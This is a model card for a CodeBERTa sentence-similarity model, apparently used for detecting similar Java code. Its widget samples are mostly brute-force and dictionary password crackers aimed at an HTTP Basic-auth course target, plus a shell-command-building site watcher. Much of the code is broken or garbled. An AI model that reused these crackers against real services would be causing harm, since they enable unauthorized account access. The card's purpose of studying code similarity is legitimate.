Model: buelfhood/SOCO-Java-CODEBERTA-CONTRASTIVE-PAIRS-E1-B16-LR2e-05-Split0.1
Author: buelfhood
Pipeline: sentence-similarity
Library: sentence-transformers
Tags: sentence-transformers, safetensors, roberta, sentence-similarity, feature-extraction, dense, generated_from_trainer, dataset_size:77328, loss:ContrastiveLoss, arxiv:1908.10084, base_model:huggingface/CodeBERTa-small-v1, base_model:finetune:huggingface/CodeBERTa-small-v1, model-index, text-embeddings-inference, endpoints_compatible, region:us
Base models (finetune): id: huggingface/CodeBERTa-small-v1
Card metadata: tags: sentence-transformers, sentence-similarity, feature-extraction, dense, generated_from_trainer, dataset_size:77328, loss:ContrastiveLoss
base_model: huggingface/CodeBERTa-small-v1
widget: source_sentence: 




import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;



public class DictionaryPropertyHelper {

	private static Properties dictProps;



	public DictionaryPropertyHelper() {
	}


	
	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println("Error init'ing the dictionary Props");
			e.printStackTrace();
		}
		return dictProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(dictProps == null){
			dictProps = new Properties();

			InputStream fis =
				DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");
			dictProps.load(fis);
		}
	}
}


sentences: 


import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;






public class MailsendPropertyHelper {

	private static Properties testProps;

	public MailsendPropertyHelper() {
	}


	

	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println("Error init'ing the watchddog Props");
			e.printStackTrace();
		}
		return testProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(testProps == null){
			testProps = new Properties();

			InputStream fis =
				MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
			testProps.load(fis);
		}
	}
}





, 



import java.net.*;
import java.io.*;
import java.util.*;

public class WatchDog
{

  public WatchDog()
  {
  }

  public static void main(String[] args)
  {
      try
      {
          if( args.length != 2 )
          {
            System.out.println("USAGE: java WatchDog <URL> <mailing UserName>");
            System.exit(0);
          }

                Runtime.getRuntime().exec("rm LastWatch.html");
                Runtime.getRuntime().exec("rm WatchDog.ini");

                Thread.sleep(1000);

            while (true)
            {
                WatchDog myWatchDog = new WatchDog();
                myWatchDog.readHTML(args[0], args[1]);

                Runtime.getRuntime().exec("rm Report.txt");
                Runtime.getRuntime().exec("rm diffReport.txt");
                Runtime.getRuntime().exec("rm NewWatch.txt");

                System.out.println(" check after 2 ... press Ctrl-Z  suspend WatchDog...");

                Thread.sleep(2*60*1000); 


            }
      }
      catch (Exception e)
      {
          e.printStackTrace();
      }
  }

  void readHTML (String strHTML, String userName)
  {

    Properties myProp = loadLastMD5 ();

    try
    {

      System.out.println("Running WatchDog  \"" + strHTML + "\" ...... Please Wait....");

      URL url = new URL (strHTML);

      String strHost = url.getHost().toLowerCase();

      Runtime r = Runtime.getRuntime();



  

    
      

      InputStream in = url.openStream();

      DataInputStream bf = new  DataInputStream (in);

      FileOutputStream fOut = new FileOutputStream ("Watch.html");
      DataOutputStream dOut = new DataOutputStream (fOut);

      Vector vtrImages = new Vector ();

      while ( bf!= null)
      {

          String str = bf.readLine();

          if (str == null)
              break;


         if ( str.toLowerCase().indexOf("img") > 0 )
         {
            int indexImg = str.toLowerCase().indexOf("img");
            int indexImgUrl = str.toLowerCase().indexOf("\"", indexImg);
            int indexImgUrlEnd = str.toLowerCase().indexOf("\"", indexImgUrl+1);

            String strImage = str.toLowerCase().substring(indexImgUrl+1, indexImgUrlEnd);

            if (strImage.toLowerCase().indexOf(strHost) > 0)
            {
                int index = strImage.toLowerCase().indexOf(strHost) + strHost.length();
                strImage = strImage.toLowerCase().substring(index);
            }

            if (!vtrImages.contains(strImage.toLowerCase()))
                vtrImages.add (strImage.toLowerCase());
         }

          dOut.writeBytes(str+"\n");
      }

      dOut.print();
      fOut.print();
 
    

      for (int i=0 ; i < vtrImages.size() ; i ++)
      {

          
          r.exec("wget " + strHost + vtrImages.get(i).toString().trim());
      }

      Thread.sleep(2000);

      String [] command = {"//sh", "-c","md5sum *.* > NewWatch.txt"};

      Runtime.getRuntime().exec(command);

      Thread.sleep(1000);

      FileInputStream fIn = new FileInputStream ("NewWatch.txt");
      DataInputStream  = new  DataInputStream (fIn);

      Properties prop = new Properties ();

      while ( bf  != null)
      {

          String str = bf.readLine();

          if (str == null)
              break;

          int index = str.indexOf(" ");


          if (fileDownloaded (str.substring(index + 1), vtrImages) || str.substring(index + 1).trim().equalsIgnoreCase("Watch.html") )
              prop.setProperty(str.substring(index + 1).trim().toLowerCase(), str.substring(0, index).trim().toLowerCase());
      }

      
      fIn.close();

      int isAnyChange = GenerateChangeFile (strHTML, myProp, prop);

      if (isAnyChange > 0)
      {

        if (isAnyChange == 2)
        {
            File f = new File ("LastWatch.html");

            if (! f.exists())
            {
                f.createNewFile();
                Thread.sleep(1000);
            }

            String [] diffCommand = {"//sh", "-c","diff Watch.html LastWatch.html > diffReport.txt"};

            Runtime.getRuntime().exec(diffCommand);

            Thread.sleep(2000);

            FileInputStream feIn = new FileInputStream ("diffReport.txt");
            DataInputStream deIn = new DataInputStream (feIn);

            FileOutputStream feOut = new FileOutputStream ("Report.txt", true);
            DataOutputStream deOut = new DataOutputStream (feOut);

            deOut.writeBytes("\n\n\nDifferences in  Target  :\n\n");

            while (deIn != null)
            {
                String str = deIn.readLine();

                if (str == null)
                  break;

                deOut.writeBytes(str + "\n");
            }

            deOut.print();
            feOut.print();

            deIn.close();
            feIn.close();
        }

        String [] mailCommand = {"//sh", "-c","less Report.txt | mail " + userName};

        Runtime.getRuntime().exec(mailCommand);

        System.out.println("Mailing difference");
      }
      else
          System.out.println(" difference detected");


      Runtime.getRuntime().exec("mv Watch.html LastWatch.html");

    }
    catch (Exception e)
    {
        e.printStackTrace();
    }

  }

  private Properties loadLastMD5 ()
  {
      Properties myProp = new Properties ();

      try
      {
          myProp.load(new FileInputStream ("WatchDog.ini"));
      }
      catch (Exception e)
      {
      }

      return myProp;
  }

  private boolean fileDownloaded (String strFile, Vector vtrImages)
  {
      for ( int i = 0 ; i < vtrImages.size() ; i ++ )
      {
          String strImage = vtrImages.get(i).toString().trim();

          if ( strImage.toLowerCase().indexOf(strFile.toLowerCase().trim()) > -1 )
              return true;
      }

      return false;
  }

  private int GenerateChangeFile (String strUrl, Properties myProp, Properties prop)
  {
      int change = 0;
      boolean boolMainChange = false;

      try
      {
          FileOutputStream myOut = new FileOutputStream ("WatchDog.ini");
          DataOutputStream myIniOut = new DataOutputStream (myOut);

          FileOutputStream fOut = new FileOutputStream ("Report.txt");
          DataOutputStream dOut = new DataOutputStream (fOut);

          dOut.writeBytes("Report of changes for \"" + strUrl + "\":\n\n\n\n\n");

          Enumeration e = prop.keys();

          while (e.hasMoreElements())
          {
              String file = e.nextElement().toString().toLowerCase().trim();

              Runtime.getRuntime().exec("rm " + file);

              myIniOut.writeBytes(file.toLowerCase() + "=" + prop.getProperty(file) + "\n");

              if (myProp.containsKey(file))
              {
                  String OldValue = myProp.getProperty(file);
                  String newValue = prop.getProperty(file);

                  if (OldValue != null && newValue != null)
                  {
                      if (!OldValue.trim().equals(newValue.trim()))
                      {
                          if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html"))
                          {
                            dOut.writeBytes("Traget html  has been changed\n");
                            boolMainChange = true;
                          }
                          else
                            dOut.writeBytes("File \"" + file + "\" has been changed\n");

                          change = 1;
                      }
                  }
              }
              else
              {
                  if (file.toLowerCase().trim().equalsIgnoreCase("Watch.html"))
                  {
                       dOut.writeBytes("Target html is checked for first time\n");
                       boolMainChange = true;
                  }
                  else
                      dOut.writeBytes("File \"" + file + "\" is checked for first time and is new\n");

                   change = 1;
              }
          }

          dOut.print();
          fOut.print();

          myIniOut.close();
          myOut.close();
      }
      catch (Exception ex)
      {
          ex.printStackTrace ();
      }

      if (boolMainChange)
          return 2;

      return change;
  }
}, 


import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;






public class MailsendPropertyHelper {

	private static Properties testProps;

	public MailsendPropertyHelper() {
	}


	

	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println("Error init'ing the watchddog Props");
			e.printStackTrace();
		}
		return testProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(testProps == null){
			testProps = new Properties();

			InputStream fis =
				MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
			testProps.load(fis);
		}
	}
}





, source_sentence: 

import java.io.*;
import java.*;
import java.util.StringTokenizer;

public class Dictionary
{
   public static void main(String args[])
   {
      final String DICT_FILE = "/usr/share/lib/dict/words"; 
      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";  
      String password;
      String s = null;
      int num_tries = 0;
      
      try
      {
         
         BufferedReader dict_word = new BufferedReader
                                  (new FileReader (DICT_FILE));
  
         
         while((password = dict_word.readLine())!= null)
         {        
            try 
            {
               
               Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
              
               BufferedReader stdInput = new BufferedReader(new 
                     InputStreamReader(p.getInputStream()));

               BufferedReader stdError = new BufferedReader(new 
                     InputStreamReader(p.getErrorStream()));

               
               while ((s = stdInput.readLine()) != null)
               {
                  System.out.println(s);
               }
                  
               
               while ((s = stdError.readLine()) != null)
               {
                  System.out.println(s);
               }

               try
	       {
                  p.waitFor(); 
               }
               catch (InterruptedException g)  
               {
               }  

               num_tries++;
                  
               if((p.exitValue()) == 0) 
               {       
                  System.out.println("**********PASSWORD IS: " + password);
	          System.out.println("**********NUMBER OF TRIES: " + num_tries);
                  System.exit(1);
               }
            }
            catch (IOException e)
            {
               System.out.println("exception happened - here's what I know: ");
               e.printStackTrace();
               System.exit(-1);
            }
         }
         
         System.out.println("DICTIONARY BRUTE FORCE UNABLE  FIND PASSWORD");
         System.out.println("**********Sorry, password was not found in dictionary file");
         System.exit(1);

      }
      catch (FileNotFoundException exception)
      {
         System.out.println(exception);
      }
      catch (IOException exception)
      {
         System.out.println(exception);
      }
   }
}
  

sentences: 

import java.io.*;
import java.*;

public class BruteForce 
{
   public static void main(String args[]) 
   {
      String s = null;
      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";

      
      String alphabets = new String("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
     
      String password = null;
      int len = 0;
      int num_tries = 0;

      len = alphabets.length();
      
      
      for (int i=0; i<len; i++)
      {
         for (int j=0; j<len; j++)
	 {
            for (int k=0; k<len; k++)
	    {
               try 
               {
                  
                  password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));
               
                  System.out.print(alphabets.charAt(i)); 
                  System.out.print(alphabets.charAt(j)); 
                  System.out.println(alphabets.charAt(k));      

                  
                  Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);
                  
                  BufferedReader stdInput = new BufferedReader(new 
                     InputStreamReader(p.getInputStream()));

                  BufferedReader stdError = new BufferedReader(new 
                     InputStreamReader(p.getErrorStream()));

                  
                  while ((s = stdInput.readLine()) != null)
                  {
                     System.out.println(s);
                  }
                  
                  
                  while ((s = stdError.readLine()) != null)
                  {
                     System.out.println(s);
                  }
                  
                  try
		      {
                     p.waitFor(); 
                  }
                  catch (InterruptedException g)  
                  {
                  }  

                  num_tries++;
                  
                  if((p.exitValue()) == 0)
                  {       
                     System.out.println("**********PASSWORD IS: " + password);
	             System.out.println("**********NUMBER OF TRIES: " + num_tries);
                     System.exit(1);
                  }
               }
               catch (IOException e)
               {
                  System.out.println("exception happened - here's what I know: ");
                  e.printStackTrace();
                  System.exit(-1);
               }
            }
         }
      }
   }
}

, 



import java.io.*;
import java.net.*;
import java.*;
import java.util.*;

public class DictionaryAttack
{
	public static void main ( String args[])
	{
		
		String function,pass,temp1;
		int count =0;
		
		try{
				
		FileReader fr = new FileReader("words.txt");
		BufferedReader bfread = new BufferedReader(fr);

		Runtime rtime = Runtime.getRuntime();
		Process prs = null;	


		while(( bf = bfread.readLine()) != null)
		{
		    
				
				if( f.length() < 4 )
				{
					System.out.println(+ " The Attack Number =====>" + count++ );
		        		pass = f;
				
					function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/";
					prs = rtime.exec(function);
				        
					InputStreamReader  stre = new InputStreamReader(prs.getErrorStream());
                       			BufferedReader bread = new BufferedReader(stre);
					while( (temp1 = bread.readLine())!= null)
					{
						System.out.println(temp1);
						if(temp1.equals("HTTP request sent, awaiting response... 200 OK"))
                       				{
			                              System.out.println("The password has is:"+pass);
                        			      System.exit(0);
                       				}	
					}
				}
				
			
		}
			
			fr.print();
			bfread.close();
	
			}catch(Exception e){}
	}
	
}			
, 

import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class BruteForce   {
  
  
  
  String passwordLetters[] ={"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"};
  String password="  ";
  static int counter;
  static int noOfAttempts;
  static String userName="";
  HttpURLConnection u;
  boolean threadF,threadM;
  String passBase64;
  
  PasswordCrackThreadF passwordCrackThreadF;
  PasswordCrackThreadM passwordCrackThreadM;
  URL   url;
  
  
  public BruteForce() {
    breakPassword();
  }

  public static void main (String args[])  {
    new BruteForce();
  }
  
  
  
  private void  breakPassword() {
    int j;
    
    breakOneLetterPassword();
    
    breakTwoLetterPassword();
    
    
    

    passwordCrackThreadF = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);
    
    passwordCrackThreadM  = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);
    
    passwordCrackThreadF.print();
    passwordCrackThreadM.print();
  }
  
  
  private void breakOneLetterPassword() {       
     MyHttpURLConnection    httpURLConnection;
     try {
	   
	    url  = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	   
	   passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
           u = (HttpURLConnection)url.openConnection();
	   u.setRequestProperty("Authorization", " " + passBase64);
     } catch  (IOException  io) {io.printStackTrace();}
         
         loop: for (int i=0;i<52;i++) {
                   password = passwordLetters[i];
		   
		   password =":"+ password;
                   try {
                   
	  	       u=  (HttpURLConnection)url.openConnection();
		       passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                       u.setRequestProperty("Authorization", " " + passBase64);
		       u.connect();	
		       noOfAttempts++;  
		       if (u.getContentLength() != 0) {
		             
		             if (u.getResponseCode()==   HttpURLConnection.HTTP_OK  ) {
		         
	                         System.out.println ("Your User Name : Password is  "+password);
				 System.out.println("   ");
			         System.out.println(" of Attempts / Requests "+ noOfAttempts);
			  
			         System.exit(0);
                     
	                     }
		       }
		   } catch  (ProtocolException  px) {px.printStackTrace();
                   
                   } catch ( NoRouteToHostException nr) {nr.printStackTrace();
	           } catch (BindException e){e.printStackTrace();
	           } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	           } catch  (IOException  io) {io.printStackTrace();
		   
	           } finally {u.disconnect();
	           }
        }   
  }
  
  
  private void breakTwoLetterPassword() {   
      MyHttpURLConnection    httpURLConnection;       
      try {
	   
	    url  = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	   
	    passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
            u = (HttpURLConnection)url.openConnection();
	    u.setRequestProperty("Authorization", " " + passBase64);
      } catch  (IOException  io) {io.printStackTrace();}

      
      loop: for (int i=0;i<52;i++) {
                for (int j=0;j<52;j++) {
                   password = passwordLetters[i]+passwordLetters[j];
		    
		   password =":"+ password;
		   
		   
	          
                   try {
		        u=  (HttpURLConnection)url.openConnection();
			 passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                                  u.setRequestProperty("Authorization", " " + passBase64);
			u.connect();
			noOfAttempts++;
			
            	        if (u.getContentLength() != 0) {
		           if (u.getResponseCode()==   HttpURLConnection.HTTP_OK  ) {
	                      System.out.println ("Your User Name : Password is  "+password); 
			      System.out.println("   ");
			      System.out.println(" of Attempts / Requests "+ noOfAttempts);
			  
			      System.exit(0);
	                   }
		        }
		   
		
	           } catch  (ProtocolException  px) {px.printStackTrace();
                   } catch ( NoRouteToHostException nr) {nr.printStackTrace();
	           } catch (BindException e){e.printStackTrace();
	           } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	           } catch  (IOException  io) {io.printStackTrace();
		   
	           } finally {u.disconnect();
	           }
               }  
      }


  }
}

class PasswordCrackThreadF extends  Thread  {
   
   
   
   private String passwordLetters[] ;
   private String password="  ";
   private static String userName="";
   private MyHttpURLConnection    httpURLConnection;
   private URL   url;
   
   BruteForce bruteForce;
   int count;    
   String passBase64;
   private HttpURLConnection  u;
   
   int start,stop;
   
   static boolean found;
   
   PasswordCrackThreadF(int start,int stop,int counter,String[]
                                                 passwordLetters,String userName,BruteForce bruteForce) {
       this.start = start;
       this.stop  = stop;
       this.passwordLetters =passwordLetters;
       this.userName=userName;
       count =counter;
       this.bruteForce=bruteForce; 
       bruteForce.threadF=true;
	
       
       passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());
       try {
	     
	     url  = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	    

	     u = (HttpURLConnection)url.openConnection();
             
	     u.setRequestProperty("Authorization", " " + passBase64);
	  

       } catch  (IOException  io) {io.printStackTrace();}

   }
  
   public synchronized void run()  {
     
     outer : for (int i=0; i<stop;i++)  {
                 for (int j=0;j<52;j++) {
                     for (int k=0;k<52;k++) {
                         password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];
   	                 password =":"+ password;
			 
			
			
			  while (!(bruteForce.threadF)) {
			     try { wait(1); }
			       catch (InterruptedException e){}
			   }  
			   
			  if (found)
			      System.exit(0);
                          try {   
			        u = (HttpURLConnection)url.openConnection();
			        passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                                u.setRequestProperty("Authorization", " " + passBase64);
			         

			
                                u.connect();
				
		                BruteForce.noOfAttempts++;

		                if (u.getContentLength() != 0) {

		                   if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
				       found=true;
				 
				 
					
					  
					
		                        System.out.println ("Your User Name : Password is  "+password+ 
		                                 "   "+ " Found by Thread  "+count);
					System.out.println("   ");
			                System.out.println(" of Attempts / Requests "+ BruteForce.noOfAttempts);
				      	 
               		               System.exit(0);

	                            }
		               }
		   
		 		 
	                 } catch  (ProtocolException  px) {px.printStackTrace();
                         } catch ( NoRouteToHostException nr){k--; 
			    nr.printStackTrace();
                         } catch (BindException e){e.printStackTrace();
	                 } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	                 } catch  (IOException  io) {io.printStackTrace();
			 
	                 } finally {u.disconnect();
	                 }
			 bruteForce.threadF=false;
			 bruteForce.threadM=true;
			
			 notifyAll();
			
                    }
		   
     }
    System.out.println("End");
  }
 }
}


class PasswordCrackThreadM extends  Thread  {
   
   
   
   private String passwordLetters[] ;
   private String password="  ";
   private static String userName="";
   private MyHttpURLConnection    httpURLConnection;
   private URL   url;
   String passBase64;
   private URLAuthenticator  urlAuthenticator =  new URLAuthenticator(userName);
   BruteForce bruteForce;
   int count;    
   private HttpURLConnection  u;
   
   int start,stop;
   
   static boolean found;
   
   
   
   PasswordCrackThreadM(int start,int stop,int counter,String[]
                                                 passwordLetters,String userName,BruteForce bruteForce) {
       this.start = start;
       this.stop  = stop;
       this.passwordLetters =passwordLetters;
       this.userName=userName;
       count =counter;
        this.bruteForce=bruteForce; 
       try {
	     
	     url  = new URL( "http://sec-crack.cs.rmit.edu./SEC/2/index.php");
	     
             u = (HttpURLConnection)url.openConnection();
	     passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
               
	     u.setRequestProperty("Authorization", " " + passBase64);

	     

	     
	     

       } catch  (IOException  io) {io.printStackTrace();}

   }
  
   public synchronized void run()  {
     
     outer : for (int i=0; i<stop;i++)  {
                 for (int j=0;j<52;j++) {
                     for (int k=0;k<52;k++) {
                         password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];
   	                 password=":"+password;
			
	                 
			
			
			  while  (!(bruteForce.threadM)) {
			     try { wait(1); }
			       catch (InterruptedException e){}
			   }
			     
			   
			  if (found)
			      System.exit(0);
                          try {   u = (HttpURLConnection)url.openConnection();
			 
                                  passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
                                  u.setRequestProperty("Authorization", " " + passBase64);
			         

			
                                  u.connect();
                                  BruteForce.noOfAttempts++;
		               
		                 if (u.getContentLength() != 0) {
			           
		                   if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {
				       found=true;
				      
				   
					
					  
					
		                        System.out.println ("Your User Name : Password is  "+password+ 
		                                 "   "+ " Found by Thread  "+count);
				      	 
					 
					System.out.println("   ");
			                System.out.println(" of Attempts / Requests "+ BruteForce.noOfAttempts);
               		                System.exit(0);

	                            }
		                }
		   
		 		 
	                 } catch  (ProtocolException  px) {px.printStackTrace();
                         } catch ( NoRouteToHostException nr){k--; 
			       nr.printStackTrace();
                         } catch (BindException e){e.printStackTrace();
	                 } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();
	                 } catch  (IOException  io) {io.printStackTrace();
			 
	                 } finally {u.disconnect();
	                 }
			 bruteForce.threadF=true;

			 
			 bruteForce.threadM=false;
			
			 notifyAll();
			
                    }
		   
     }
    System.out.println("End");
  }
 }
}







class URLAuthenticator  extends Authenticator {
   private String uName;
   String passwd;
   static  char[] password;
   public URLAuthenticator(String uName) {

     this.uName = uName;
   }

   public void setPassword(String passwd)  {

	 this.passwd=passwd;
	 password=passwd.toCharArray();

   }
   
   public PasswordAuthentication getPasswordAuthentication()  {

	
 	
	
	return new PasswordAuthentication(uName,password);
   }

}




 

class MyHttpURLConnection extends HttpURLConnection  {
    public MyHttpURLConnection(URL url) {
       super(url);
    }
    public void disconnect() {
    }

    public boolean usingProxy() {
        return true;
    }
    public void connect() {
    }

}

, source_sentence: import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
import java.net.HttpURLConnection;


public class BruteForce 
{
  String uname = "";
  String pword = "null";
  Vector v = new Vector();
  int runTime;
  
  public void doConnect(String connect, int num)
  {
      
      String cad = connect;
    
    try
     {
       URL secureSite = new URL();
       URLConnection connection = secureSite.openConnection();
	 
       if (uname != null || pword != null)
	  {
	    
	    for(int i=num; i<v.size(); i++)
	    {
	      pword = (String)v.elementAt(i);
	      String up = uname + ":" + pword;
            String encoding;
            try
		{
		 secureSite.misc.BASE64Encoder encoder = (secureSite.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
              encoding = encoder.encode (up.getBytes());
           }
	     catch (Exception ex) 
            {
		  Base64Converter encoder = new Base64Converter();
              encoding = encoder.encode(up.getBytes());
           }
	     connection.setRequestProperty ("Authorization", " " + encoding);
           connection.connect();
           if(connection instanceof HttpURLConnection)
	     {
	       HttpURLConnection httpCon=(HttpURLConnection)connection;
             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
		  {
		   System.out.println("Not authorized - check  for details" + " -Incorrect Password : " + pword);
		   httpCon.disconnect();
	         doConnect(uname, i+1);
	       }
		else
		 { 
		  System.out.println("\n\n\nPassword for HTTP Secure Site By BruteForce Attack");
              System.out.println( +"\tPassword : "+ pword);
	        
              runTime = System.currentTimeMillis() - runTime; 
              System.out.println("Time taken  crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken  crack password : "+ i);
	        System.exit(0);
	      }
	    }
	  }
      }
    }
    catch(Exception ex)
    {
      ex.printStackTrace();
    }
  }
  public Vector getPassword()
  {
    try
    {
      makePasswords  mp = new makePasswords();
      mp.makePass();
	mp.loadFile();
      v = mp.getVector();
    }
    catch(Exception ex)
    {
      ex.printStackTrace();
    }
    return v;
  }
  public void setTimeTaken( int time_taken)
  {
    runTime = time_taken;
  }  
  public static void main( String args[] ) throws IOException 
  {
    
    try
    {
     runTime1 = System.currentTimeMillis();     
    BruteForce newDo = new BruteForce();
    newDo.setTimeTaken(runTime1);
    newDo.getPassword();
    String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
    newDo.doConnect(site, 0);
    }catch(Exception ex)
    {
    System.out.println("Errrrrrrr");
    }
    

  }  
  
}

class  Base64Converter
      {
  
          public final char [ ]  alphabet = {
              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
              'w', 'x', 'y', 'z', '0', '1', '2', '3',   
              '4', '5', '6', '7', '8', '9', '+', '/' }; 
  
  
          public String  encode ( String  s )
          {
              return encode ( s.getBytes ( ) );
          }
  
          public String  encode ( byte [ ]  octetString )
          {
              int  bits24;
              int  bits6;
  
              char [ ]  out
                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
  
              int outIndex = 0;
              int i        = 0;
  
              while ( ( i + 3 ) <= octetString.length ) {
                  
                  bits24=( octetString [ i++ ] & 0xFF ) << 16;
                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
  
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0000003F );
                  out [ outIndex++ ] = alphabet [ bits6 ];
              }
  
              if ( octetString.length - i == 2 )
              {
                  
                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;
                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
                  out [ outIndex++ ] = alphabet [ bits6 ];
  
                  
                  out [ outIndex++ ] = '=';
              }
              else if ( octetString.length - i == 1 )
              {
                  
                  bits24 = ( octetString [ i ] & 0xFF ) << 16;
                  bits6=( bits24 & 0x00FC0000 )>> 18;
                  out [ outIndex++ ] = alphabet [ bits6 ];
                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
                  out [ outIndex++ ] = alphabet [ bits6 ];
  
                  
                  out [ outIndex++ ] = '=';
                  out [ outIndex++ ] = '=';
              }
  
              return new String ( out );
          }
       }
  
  

sentences: 
import java.net.*;
import java.io.*;
import java.misc.*;

public class Dictionary
{
   public static void main (String args[])
   {
      
      String file = "/usr/share/lib/dict/words";
      FileReader fRead;
      BufferedReader buf;

      try
      {
         fRead = new FileReader(file);
         buf = new BufferedReader(fRead);
         String Password = "";
         int i=0;

         
         while( (Password = buf.readLine()) != null)
         {
            i++;
            String a = myurl("http://sec-crack.cs.rmit.edu./SEC/2", "", Password, i);
         }
      }
      catch(FileNotFoundException e)
      {
         System.out.println("File not found");
      }
      catch(IOException ioe)
      {
         System.out.println("IO Error " + ioe);
      }
   }

   public static String encode (String source)
   {
      BASE64Encoder enc = new source.misc.BASE64Encoder();
      return(enc.encode(source.getBytes()));
   }

   public static String myurl (String url, String Name, String Password, int val )
   {
      String thisLine;
      String retVal;
      URL u;
      URLConnection uc;
      retVal = "";

      try
      {
         u = new URL(url);
         try
         {
            uc = u.openConnection();
            if (Name != null)
            {
               uc.setRequestProperty("Authorization", " " + encode(Name + ":" + Password));
            }
            InputStream content = (InputStream)uc.getInputStream();
            BufferedReader in = new BufferedReader (new InputStreamReader(content));

            String line;
            
            while ((line = in.readLine()) != null)
            {
               retVal += line;
               System.out.println(line);
               System.out.println("password="+Password+";number:"+num);
               System.exit(0);
            }
         }
         catch (Exception e)
         {
            ;
            
         }
      }
      catch (MalformedURLException e)
      {
         return(url + " is not a parseable URL");
      }
      return retVal;
   }
}


, 
import java.util.*;

public class CrackThread implements Runnable {

    private String strUsername;
    private String strURL;
    private int iSeed;
    private int iEnd;
    
    
    public CrackThread() {
    }
    
    public void setParams(String url, String username, int seed, int end) {
        strUsername = username;
        strURL = url;
        iSeed = seed;
        iEnd = end;
    }
    
    public void run() {
        Date dtStart, dtEnd;
        PasswordGen pwd = new PasswordGen();
        PasswordTest tester;
        int i=1;
        boolean bDone = false;
        Result res;

        dtStart = new Date();
        
        
        pwd.setSeed(iSeed);
        
        while(!bDone) {
            tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword());
        
            bDone = tester;
            i++;
            
            
            if(i % 100 == 0)
            {
                System.out.println(pwd.getPassword());
            }
            
            if(bDone) {
                
                res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i);
                System.out.print(res.toString());
            }
            else
            {
                
            }
            
            
            if( i >= iEnd) bDone = true;
        }    
    }
    
}
, 
import java.io.*;
import java.util.*;

